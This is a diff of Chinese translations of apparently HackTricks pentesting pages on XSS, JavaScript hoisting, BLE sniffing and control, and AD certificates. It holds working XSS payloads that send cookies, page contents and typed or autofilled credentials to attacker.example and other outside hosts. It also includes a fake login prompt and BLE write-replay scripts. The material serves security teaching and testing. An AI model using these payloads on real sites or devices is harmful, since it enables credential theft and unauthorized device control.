```
- 间接访问 `require`
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包在一个函数中,如下:
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包在一个函数中,如下:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
因此,如果我们能从该模块**调用另一个函数**,则可以在该函数中使用`arguments.callee.caller.arguments[1]`来访问**`require`**:
因此,如果从该模块我们可以 **call another function**,就可以从该函数使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1052,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
与前的示例类似,可以通过**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数:
前的示例类似,可以通过**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数:
```javascript
try {
null.f()
@ -1092,7 +1092,7 @@ trigger()
```
### Obfuscation & Advanced Bypass
- **一页面中不同 obfuscations** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- **同的 obfuscations 在同一页面** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@ -1273,7 +1273,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
```
## XSS 常见 payloads
### 多个 payloads 合并为 1
### 多个 payloads 合并为 1
{{#ref}}
@ -1282,7 +1282,7 @@ steal-info-js.md
### Iframe Trap
使用户在页面内浏览而不离开 iframe 并窃取其操作(包括在表单中提交的信息):
使用户在页面内导航而不离开 iframe并窃取其行为包括在表单中提交的信息:
{{#ref}}
@ -1312,7 +1312,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!TIP]
> 如果 cookie 设置了 HTTPOnly 标志,你将无法从 JavaScript 访问 cookies。但如果你足够幸运,这里有一些[绕过该保护的方法](../hacking-with-cookies/index.html#httponly)
> 如果 cookie 设置了 HTTPOnly 标志,你将无法从 JavaScript 访问 cookie。但如果你足够幸运这里有一些绕过该保护的方法:[一些绕过方法](../hacking-with-cookies/index.html#httponly)
### 窃取页面内容
```javascript
@ -1327,7 +1327,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open("GET", url, true)
xhr.send(null)
```
### 查找内部 IP 地址
### 查找内部 IPs
```html
<script>
var q = []
@ -1405,13 +1405,13 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
```
_Short times indicate a responding port_ _Longer times indicate no response._
查看 Chrome 中被封禁的 ports 列表 [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) 和 Firefox 中被封禁的 ports 列表 [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
查看 Chrome 中被禁止的端口列表 [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc),以及 Firefox 中的 [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。
### 用于请求凭证的框
### 请求凭证的框
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### 自动填充密码捕获
### 捕获自动填充密码
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1422,11 +1422,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
当在 password 字段中输入任何数据时username 和 password 会被发送到攻击者的服务器;即使客户端选择了已保存的密码而没有手动输入,凭证仍会被 ex-filtrated。
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
### Hijack form handlers to exfiltrate credentials (const shadowing)
如果一个关键 handler例如 `function DoLogin(){...}`)在页面中较晚声明,而你的 payload 较早运行(例如通过 inline JS-in-JS sink那么先用相同名字定义一个 `const` 来抢占并锁定该 handler。随后声明的 function 无法重新绑定 `const` 名称,从而使你的 hook 保持控制
如果一个关键的 handler例如`function DoLogin(){...}`)在页面后面被声明,而你的 payload 早些时候执行(例如,通过一个 inline JS-in-JS sink那么先定义一个同名的 `const` 来抢占并锁定该 handler。之后的 function 声明无法重新绑定该 `const` 名称,这样你的 hook 就会处于控制位置
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@ -1434,14 +1434,14 @@ const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
```
Notes
注意事项
- 这依赖于执行顺序:你的注入必须在合法声明之前执行。
- 如果你的 payload 被包在 `eval(...)` 中,`const/let` 绑定不会成全局。使用来自章节 “Deliverable payloads with eval(atob()) and scope nuances” 的动态 `<script>` 注入技术,以确保真正的全局、不可重新绑定的绑定。
- 当关键字过滤阻止代码时,可结合 Unicode 转义标识符或 `eval(atob('...'))` 的投递,如上所示。
- 如果你的 payload 被包在 `eval(...)` 中,`const/let` 绑定不会成全局变量。使用来自章节 “Deliverable payloads with eval(atob()) and scope nuances” 的动态 `<script>` 注入技术,以确保真正的全局且不可重绑定的绑定。
- 当关键字过滤阻止代码时,结合使用 Unicode 转义的标识符或 `eval(atob('...'))` 传递方式,如上所示。
### Keylogger
在 github 上简单搜索,我找到了一些不同的实现:
在 github 上搜索时我找到几个不同的实现:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1494,7 +1494,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
### Blind XSS payloads
你也可以使用 [https://xsshunter.com/](https://xsshunter.com)
你也可以使用: [https://xsshunter.com/](https://xsshunter.com)
```html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
@ -1561,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
```
### Regex - 访问隐藏内容
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. 例如,一个 REGEX 的输入在该输入值被移除之后,仍然可以被找到
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到,即使某些值在 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如,在 REGEX 的输入值被移除之后,仍然可能找到该输入
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1578,44 +1578,44 @@ console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
### Brute-Force List
### 暴力破解 列表
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS 利用其他漏洞
## 通过其他漏洞滥用 XSS
### XSS 在 Markdown 中
### Markdown 中的 XSS
可以注入会被渲染的 Markdown 代码吗?也许你可以触发 XSS查看
注入会被渲染的 Markdown 代码吗?也许你可以触发 XSS查看
{{#ref}}
xss-in-markdown.md
{{#endref}}
### XSS 转为 SSRF
### XSS SSRF
在一个**使用缓存的站点**上发现 XSS尝试通过 Edge Side Include Injection 将其**升级为 SSRF**,使用以下 payload:
在一个 **使用缓存的站点** 上发现 XSS尝试通过 Edge Side Include Injection 将其 **升级为 SSRF**,使用此 payload:
```python
<esi:include src="http://yoursite.com/capture" />
```
使用它可以绕过 cookie 限制、XSS 过滤器以及更多!\
Use it to bypass cookie restrictions, XSS filters and much more!\
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### 动态创建的 PDF 中的 XSS
### 动态生成的 PDF 中的 XSS
如果网页使用由用户控制的输入创建 PDF你可以尝试**欺骗正在创建 PDF 的 bot**去**执行任意 JS 代码**。\
所以,如果**PDF creator bot finds**某种**HTML** **tags**,它就会**interpret**它们,你可以**abuse**此行为以导致**Server XSS**。
如果网页使用用户可控的输入来创建 PDF你可以尝试**trick the bot**让它**executing arbitrary JS code**。\
所以,如果**PDF creator bot finds**某种**HTML** **tags**,它将**interpret**它们,你可以**abuse**这种行为来引发**Server XSS**。
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
如果你无法注入 HTML 标签,值得尝试**注入 PDF 数据**
如果你无法注入 HTML tags可能值得尝试**inject PDF data**
{{#ref}}
@ -1624,15 +1624,15 @@ pdf-injection.md
### Amp4Email 中的 XSS
AMP 旨在加速移动设备上的网页性能,使用 HTML 标签并辅以 JavaScript 来保证功能,同时强调速度与安全。它支持一系列用于各种功能的组件,可通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。
AMP,旨在加速移动设备上的网页性能,使用由 JavaScript 补充的 HTML 标签 来确保功能,强调速度和安全。它支持用于各种功能的一系列组件,可通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在邮件内与内容交互。
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
示例 [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### 通过上传文件触发的 XSS (svg)
### XSS 上传文件svg
作为图片上传类似下面这样的文件(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)
以图片形式上传类似下面的文件(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1690,7 +1690,7 @@ id="foo"/>
```
查找 **更多 SVG payloads 在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## 杂项 JS Tricks & 相关信息
## 杂项 JS 技巧与相关信息
{{#ref}}
@ -1706,9 +1706,9 @@ other-js-tricks.md
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
## 参考
## 参考资料
- [从 "Low-Impact" RXSS 到 Credential StealerA JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
在 JavaScript 语言中,存在一种称为 **Hoisting** 的机制在代码执行之前变量、函数、class 或 import 的声明在概念上会被提升到其作用域的顶部。这个过程由 JavaScript 引擎自动执行,引擎会对脚本进行多次遍历。
在 JavaScript 语言中,有一种被称为 **Hoisting** 的机制,变量、函数、类或 import 的声明会在代码执行前概念上被提升到其作用域的顶部。这个过程由 JavaScript 引擎自动执行,运行时会对脚本进行多次遍历。
在第一次遍历中,引擎会解析代码以检查语法错误并将其转换为抽象语法树。此阶段包含 hoisting提升将某些声明移动到执行上下文顶部的过程。如果解析阶段成功(即没有语法错误),脚本就会继续执行
在第一次遍历中,引擎会解析代码以检查语法错误并将其转换为抽象语法树。此阶段包括 hoisting一个将某些声明移动到执行上下文顶部的过程。如果解析阶段成功(即没有语法错误),脚本执行将继续
重要的是要理解
必须理解的是
1. 脚本必须没有语法错误才能执行。必须严格遵守语法规则。
2. 由于 hoisting代码在脚本中的位置会影响执行尽管实际执行的代码可能与其文本表示不同。
#### Types of Hoisting
#### Hoisting 的类型
根据 MDN 的信息JavaScript 中有四种不同的 hoisting 类型
根据 MDN 的信息JavaScript 中有四种不同类型的 hoisting
1. **Value Hoisting**:允许在变量声明行之前在其作用域内使用变量的值。
2. **Declaration Hoisting**:允许在变量声明之前在其作用域内引用变量而不会导致 `ReferenceError`,但变量的值将是 `undefined`
3. 这种类型会改变其作用域内的行为,因为变量在其实际声明行之前就被声明了
4. 声明的副作用会在包含的其余代码被求值之前发生。
1. **Value Hoisting**:允许在声明行之前在其作用域内使用变量的值。
2. **Declaration Hoisting**:允许在声明之前在其作用域内引用变量而不会导致 `ReferenceError`,但变量的值将是 `undefined`
3. 这种类型会因变量在其真实声明行之前被声明而改变其作用域内的行为
4. 声明的副作用会在包含该声明的其余代码被求值之前发生。
具体来说,函数声明表现出类型 1 的 hoisting 行为。`var` 关键字表现出类型 2 的行为。词法声明(包括 `let``const``class`)表现出类型 3 的行为。最后,`import` 语句比较特殊,它既具有类型 1也具有类型 4 的 hoisting 行为
详细来说,函数声明表现出类型 1 的 hoisting 行为。`var` 关键字表现为类型 2。词法声明lexical declarations包括 `let``const``class`,表现出类型 3。最后`import` 语句是独特的,因为它们以类型 1 和类型 4 的行为被提升
## Scenarios
## 场景
因此,如果你有场景能够在**在未声明对象被使用后注入 JS 代码**,你可以通过声明它来**修复语法**(这样你的代码会被执行,而不是抛出错误):
因此,如果你遇到可以在未声明的对象被使用之后 **Inject JS code after an undeclared object** 的场景,你可以通过声明它来 **fix the syntax**(这样你的代码就会被执行而不是抛出错误):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -129,9 +129,9 @@ alert(1) -
}
trigger()
```
### 通过 `const` 锁定名称以抢占后续声明
### 通过 const 锁定名称来抢先阻止后续声明
如果你能在顶层 `function foo(){...}` 被解析之前执行代码,声明一个具有相同名字的词法绑定(例如 `const foo = ...`)会阻止随后函数声明重新绑定该标识符。 这可以在 RXSS 中被滥用,用来劫持页面后面定义的关键处理程序
如果你能在顶层 `function foo(){...}` 被解析之前执行,使用相同名称声明一个词法绑定(例如,`const foo = ...`)将阻止后续的函数声明重新绑定该标识符。这可以在 RXSS 中被滥用,以劫持页面稍后定义的关键处理器
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
@ -143,11 +143,11 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
注意事项
注意
- 这依赖于执行顺序和全局(顶层)作用域。
- 如果你的 payload 在 `eval()` 内被执行,记住 `eval` 内的 `const/let` 是块级作用域,不会创建全局绑定。注入一个新的 `<script>` 元素,并在其中放入代码以建立真正的全局 `const`
- 如果你的 payload 在 `eval()` 内被执行,记住 `eval` 内的 `const/let` 是块级作用域,不会创建全局绑定。注入一个新的 `<script>` 元素,包含用于建立真正全局 `const` 的代码
## 参考
## References
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)

View File

@ -1,22 +1,22 @@
# Pentesting BLE - 低功耗蓝牙
# Pentesting BLE - 蓝牙低功耗
{{#include ../../banners/hacktricks-training.md}}
## 介绍
自 Bluetooth 4.0 规范起可用BLE 只使用 40 个信道,覆盖 2400 到 2483.5 MHz 频段。相比之下,传统 Bluetooth 在相同频段使用 79 个信道。
自 Bluetooth 4.0 规范以来BLE 只使用 40 个信道,覆盖 2400 到 2483.5 MHz 的范围。相比之下,传统 Bluetooth 在相同范围内使用 79 个信道。
BLE 设备通过发送 advertising packetsbeacons进行通信这些数据包将 BLE 设备的存在广播给附近的其他设备。这些 beacons 有时也会发送数据
BLE 设备通过发送 **advertising packets****beacons**)来通信,这些数据包向附近的设备广播该 BLE 设备的存在。这些 beacons 有时也会 **发送数据**
监听设备(也称为 central device可以对 advertising packet 使用发送给特定广播设备的 SCAN request 进行响应。对该扫描的 response 使用与 advertising packet 相同的结构,附带最初 advertising 请求中放不下的额外信息,例如完整的设备名称。
监听设备,也称为 central device可以对 advertising packet 使用专门发送给该广告设备的 **SCAN request** 进行响应。对该扫描的 **response** 使用与 **advertising** packet 相同的结构,但包含一些无法放入初始 advertising 请求的附加信息,例如完整的设备名称。
![](<../../images/image (152).png>)
前导字节用于频率同步,而四字节的 access address 是一个 connection identifier用于多个设备在相同信道上尝试建立连接时区分对话。接下来Protocol Data UnitPDU包含 advertising data。PDU 有多种类型;最常用的是 ADV_NONCONN_IND 和 ADV_IND。如果设备不接受连接就会使用 ADV_NONCONN_IND PDU 类型,仅在 advertising packet 中传输数据。如果设备允许连接则使用 ADV_IND并在 connection 建立后停止发送 advertising packets。
前导字节用于同步频率,而四字节的 access address 是一个 **connection identifier**用于多个设备尝试在相同信道上建立连接的场景。接下来Protocol Data Unit**PDU**)包含 **advertising data**。PDU 有多种类型;最常用的是 ADV_NONCONN_IND 和 ADV_IND。如果设备 **不接受连接**,则使用 **ADV_NONCONN_IND** PDU 类型,仅在 advertising packet 中传输数据。如果设备 **允许连接**则使用 **ADV_IND**,并在 **connection** 建立后停止发送 advertising packets。
### GATT
Generic Attribute ProfileGATT定义了设备应如何格式化和传输数据。在分析 BLE 设备的攻击面时,你通常会将注意力集中在 GATT或 GATTs因为它是触发设备功能以及数据如何被存储、分组和修改的方式。GATT 以 16 位或 32 位值的表格列出设备的 characteristics、descriptors 和 services。characteristic 是 central device 与 peripheral 之间发送的数据值。这些 characteristics 可以有 descriptors提供关于它们的附加信息。如果相关联以执行特定动作characteristics 通常会被分组到 services 中。
**Generic Attribute Profile**GATT定义了 **设备应如何格式化和传输数据**。在分析 BLE 设备的攻击面时,你通常会将注意力集中在 GATT或 GATTs因为它决定了 **如何触发设备功能**以及数据如何被存储、分组和修改。GATT 将设备的 characteristics、descriptors 和 services 以 16 位或 32 位值的表格形式列出。**Characteristic** 是在 central device 和 peripheral 之间 **发送****数据** 值。这些 characteristics 可以有 **descriptors**,用于 **提供关于它们的附加信息**。如果为了执行特定操作而相关,**characteristics** 通常会被 **分组****services** 中。
## 枚举
```bash
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool
**GATTool** 允许 **建立** 与 另一设备的 **连接**,列出该设备的 **特征 (characteristics)**,并读取与写入其属性。\
GATTTool 可以使用 `-I` 选项 启动 交互式 shell:
**GATTool** 允许与另一设备 **建立** **连接**,列出该设备的 **特征**,并读取和写入其属性。\
GATTTool 可以使用 `-I` 选项启动交互式 shell:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@ -64,15 +64,15 @@ sudo bettercap --eval "ble.recon on"
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing 与 主动控制未配对的 BLE 设备
## Sniffing and actively controlling unpaired BLE devices
许多低成本的 BLE 外围设备并不强制执行 pairing/bonding。没有 bonding 时Link Layer encryption 永远不会启用,因此 ATT/GATT 流量为明文。一个 off-path sniffer 可以跟踪连接,解码 GATT 操作以获取 characteristic handles 和值,任何附近的主机随后都可以连接并重放这些写操作来控制设备。
许多低成本的 BLE 外设不会强制执行 pairing/bonding。没有 bondingLink Layer 加密永远不会启用,因此 ATT/GATT 流量是明文的。一个 off-path sniffer 可以跟踪连接,解码 GATT 操作以获取 characteristic handles and values任何附近的主机随后可以连接并重放那些 writes 来控制设备。
### 使用 Sniffle 进行 Sniffing (CC26x2/CC1352)
### Sniffing with Sniffle (CC26x2/CC1352)
硬件:一台 Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352),刷入 NCC Groups Sniffle firmware
硬件:一块 Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352),刷写了 NCC Group 的 Sniffle 固件
在 Linux 上安装 Sniffle 及其 Wireshark extcap
Install Sniffle and its Wireshark extcap on Linux:
```bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
@ -91,7 +91,7 @@ else
echo "[+] - Sniffle already installed at 1.10.0"
fi
```
将 Sonoff 刷入 Sniffle firmware (确保你的串口设备匹配,例如 /dev/ttyUSB0):
将 Sonoff 刷入 Sniffle 固件(确保你的串口设备匹配,例如 /dev/ttyUSB0
```bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
@ -104,13 +104,13 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
deactivate
popd
```
通过 Sniffle extcap 在 Wireshark 中捕获,并通过过滤快速切换到会改变状态的写操作
通过 Wireshark 的 Sniffle extcap 捕获,并通过过滤快速 pivot 到会改变状态的写入
```text
_ws.col.info contains "Sent Write Command"
```
这突出了来自 client 的 ATT Write Commandshandle 和 value 常常直接映射到设备操作(例如,写入 0x01 到 buzzer/alert characteristic,写入 0x00 停止)。
这突出显示了 ATT Write Commands 来自客户端handle and value 通常直接映射到设备动作(例如,向 buzzer/alert characteristic 写入 0x01,写入 0x00 停止)。
Sniffle CLI 快速示例:
Sniffle CLI 快速示例
```bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
Alternative sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
Alternative sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin 也可用。在小型/廉价的 Nordic dongles 上,你通常会覆盖 USB bootloader 以加载 sniffer firmware因此你要么保留一个专用的 sniffer dongle要么需要使用 J-Link/JTAG 在之后恢复 bootloader。
### 通过 GATT 进行主动控制
### Active control via GATT
一旦你从嗅探到的流量中识别出可写的 characteristic handle 和 value就作为任意 central 连接并执行相同的写操作
一旦你从 sniffed traffic 中识别出可写的 characteristic handle 和对应的 value就以任意 central 身份连接并发出相同的 write
- 使用 Nordic nRF Connect for DesktopBLE app
- 选择 nRF52/nRF52840 dongle扫描并连接目标。
- 浏览 GATT 数据库,定位目标 characteristic通常有友好名称例如 Alert Level
- 使用嗅探到的字节执行 Write例如01 触发00 停止)。
- With Nordic nRF Connect for Desktop (BLE app):
- 选择 nRF52/nRF52840 dongle扫描并连接目标。
- 浏览 GATT database,定位目标 characteristic通常有友好名称例如 Alert Level
- 使用 sniffed bytes 执行 Write例如01 触发00 停止)。
- 在 Windows 上使用 Nordic dongle 通过 Python + blatann 自动化:
- Automate on Windows with a Nordic dongle using Python + blatann:
```python
import time
import blatann
@ -169,13 +169,13 @@ peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
```
### 操作注意事项和缓解措施
### 运行注意事项和缓解措施
- 优先在 Linux 上使用 Sonoff+Sniffle以实现可靠的信道跳频和连接跟踪。准备一个备用的 Nordic sniffer 作为备份
- 如果没有 pairing/bonding任何附近的攻击者都能观察到 writes并重放或伪造写入到未认证的可写 characteristics
- 缓解措施:要求 pairing/bonding 并强制加密;将 characteristic permissions 设置为要求 authenticated writes尽量减少未认证的可写 characteristics;使用 Sniffle/nRF Connect 验证 GATT ACLs。
- 优先在 Linux 上使用 Sonoff+Sniffle以实现稳健的信道跳变和连接跟踪。保留一个备用的 Nordic sniffer 作为后备
- 如果没有 pairing/bonding任何附近的攻击者都可以观察到写操作并重放/构造自己的写入到未认证的可写特征
- 缓解措施:要求 pairing/bonding 并强制加密;将特征权限设置为需要经过认证的写入;尽量减少未认证的可写特征;使用 Sniffle/nRF Connect 验证 GATT ACLs。
## 参考资料
## References
- [Start hacking Bluetooth Low Energy today! (part 2) Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)

View File

@ -1,107 +1,107 @@
# AD 证书
# AD Certificates
{{#include ../../../banners/hacktricks-training.md}}
## 介绍
## Introduction
### 证书的组成部分
### Components of a Certificate
- 证书的 **Subject** 表示其所有者。
- **Public Key**一个私有密钥配对,以将证书与其合法所有者关联起来
- **Validity Period**(由 **NotBefore****NotAfter** 日期定义)标示证书的有效期间
- 一个唯一的 **Serial Number**,由 Certificate Authority (CA) 提供,用于标识每个证书。
- **Issuer**的是签发该证书的 CA。
- **SubjectAlternativeName** 允许为 Subject 指定额外名称,增强识别灵活性。
- **Basic Constraints** 标识证书是用于 CA 还是终端实体,并定义使用限制。
- **Extended Key Usages (EKUs)** 通过 Object Identifiers (OIDs) 划定证书的特定用途,例如代码签名或邮件加密
- **Signature Algorithm** 指定签署证书的方法。
- **Signature** 使用颁发者的私钥创建,以保证证书的真实性。
- **Public Key** 与私有密钥配对,以将证书与其合法所有者关联。
- **Validity Period**(由 **NotBefore****NotAfter** 定义)标示证书的有效时段
- 唯一的 **Serial Number**(由 Certificate Authority (CA) 提供)用于识别每个证书。
- **Issuer**发出证书的 CA。
- **SubjectAlternativeName** 允许为 Subject 指定额外名称,增强识别灵活性。
- **Basic Constraints** 用于标识证书是 CA 证书还是终端实体证书,并定义使用限制。
- **Extended Key Usages (EKUs)** 通过对象标识符 (OIDs) 指明证书的具体用途,例如 code signing 或 email encryption
- **Signature Algorithm** 指定用于签署证书的方法。
- 使用发行者的私钥创建的 **Signature** 保证证书的真实性。
### 特别注意事项
### Special Considerations
- **Subject Alternative Names (SANs)** 将证书的适用性扩展到多个身份,对于托管多个域名的服务器尤为重要。必须确保安全的签发流程,以避免攻击者通过操纵 SAN 规范进行冒充的风险
- **Subject Alternative Names (SANs)** 将证书的适用性扩展到多个身份,这对于拥有多个域名的服务器至关重要。必须有安全的签发流程,以防止攻击者通过操纵 SAN 规范进行冒充
### Active Directory (AD) 中的 Certificate Authorities (CAs)
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS 在 AD 林中通过指定的容器认可 CA 证书,每个容器承担不同的角色
AD CS 通过指定的容器在 AD 林中识别 CA 证书,每个容器都有其特定作用
- **Certification Authorities** 容器保存受信任的 CA 证书。
- **Certification Authorities** 容器保存受信任的 root CA 证书。
- **Enrolment Services** 容器列出 Enterprise CAs 及其证书模板。
- **NTAuthCertificates** 对象包含被授权用于 AD 身份验证的 CA 证书。
- **AIA (Authority Information Access)** 容器通过中间 CA 和跨域 CA 证书来支持证书链验证
- **AIA (Authority Information Access)** 容器用于通过中间 CA 和 cross CA 证书来验证证书链
### 证书获取:客户端证书请求流程
### Certificate Acquisition: Client Certificate Request Flow
1. 请求流程始于客户端查找一个 Enterprise CA。
2. 在生成公私钥对后,会创建一个 CSR包含公钥和其他信息
3. CA 根据可用的证书模板评估 CSR并基于模板的权限决定是否签发证书。
4. 经批准后CA 使用其私钥对证书签名并将其返回给客户端。
1. 请求过程始于客户端查找 Enterprise CA。
2. 在生成公私钥对后,创建包含公钥和其他细节的 CSR
3. CA 根据可用的 certificate templates 评估 CSR并基于模板权限颁发证书。
4. 经批准后CA 使用其私钥对证书进行签名并将其返回给客户端。
### 证书模板
### Certificate Templates
这些模板在 AD 中定义,概述了颁发证书的设置和权限,包括允许的 EKU 以及注册或修改权限,对管理对证书服务的访问至关重要。
在 AD 中定义的这些模板规定了颁发证书的设置和权限,包括允许的 EKUs 以及注册或修改权限,对管理对证书服务的访问至关重要。
## 证书注册
## Certificate Enrollment
证书的注册流程由管理员启动,管理员 **creates a certificate template**,然后由 Enterprise Certificate Authority (CA) 将其 **published**。这使模板可供客户端申请,方法是将模板名称添加到 Active Directory 对象的 `certificatetemplates` 字段中。
证书的注册过程由管理员发起,管理员 **创建证书模板**,随后 Enterprise Certificate Authority (CA) **发布** 该模板。发布后,模板可供客户端注册,方法是将模板名称添加到 Active Directory 对象的 `certificatetemplates` 字段中。
为了使客户端能够请求证书,必须授予其 **enrollment rights**。这些权限由证书模板和 Enterprise CA 本身上的安全描述符定义。请求要成功,必须在两个位置都授予相应权限。
要使客户端请求证书,必须授予 **enrollment rights**。这些权限由 certificate template 和 Enterprise CA 本身的安全描述符定义。请求成功需要在这两个位置都授予相应权限。
### 模板注册权限
### Template Enrollment Rights
这些权限通过 Access Control Entries (ACEs) 指定,描述了诸如
这些权限通过 Access Control Entries (ACEs) 指定,描述的权限包括
- **Certificate-Enrollment****Certificate-AutoEnrollment** 权限,每个都关联特定的 GUID。
- **ExtendedRights**,允许所有扩展权限。
- **FullControl/GenericAll**赋予对模板的完全控制。
- **FullControl/GenericAll**对模板提供完全控制。
### Enterprise CA 注册权限
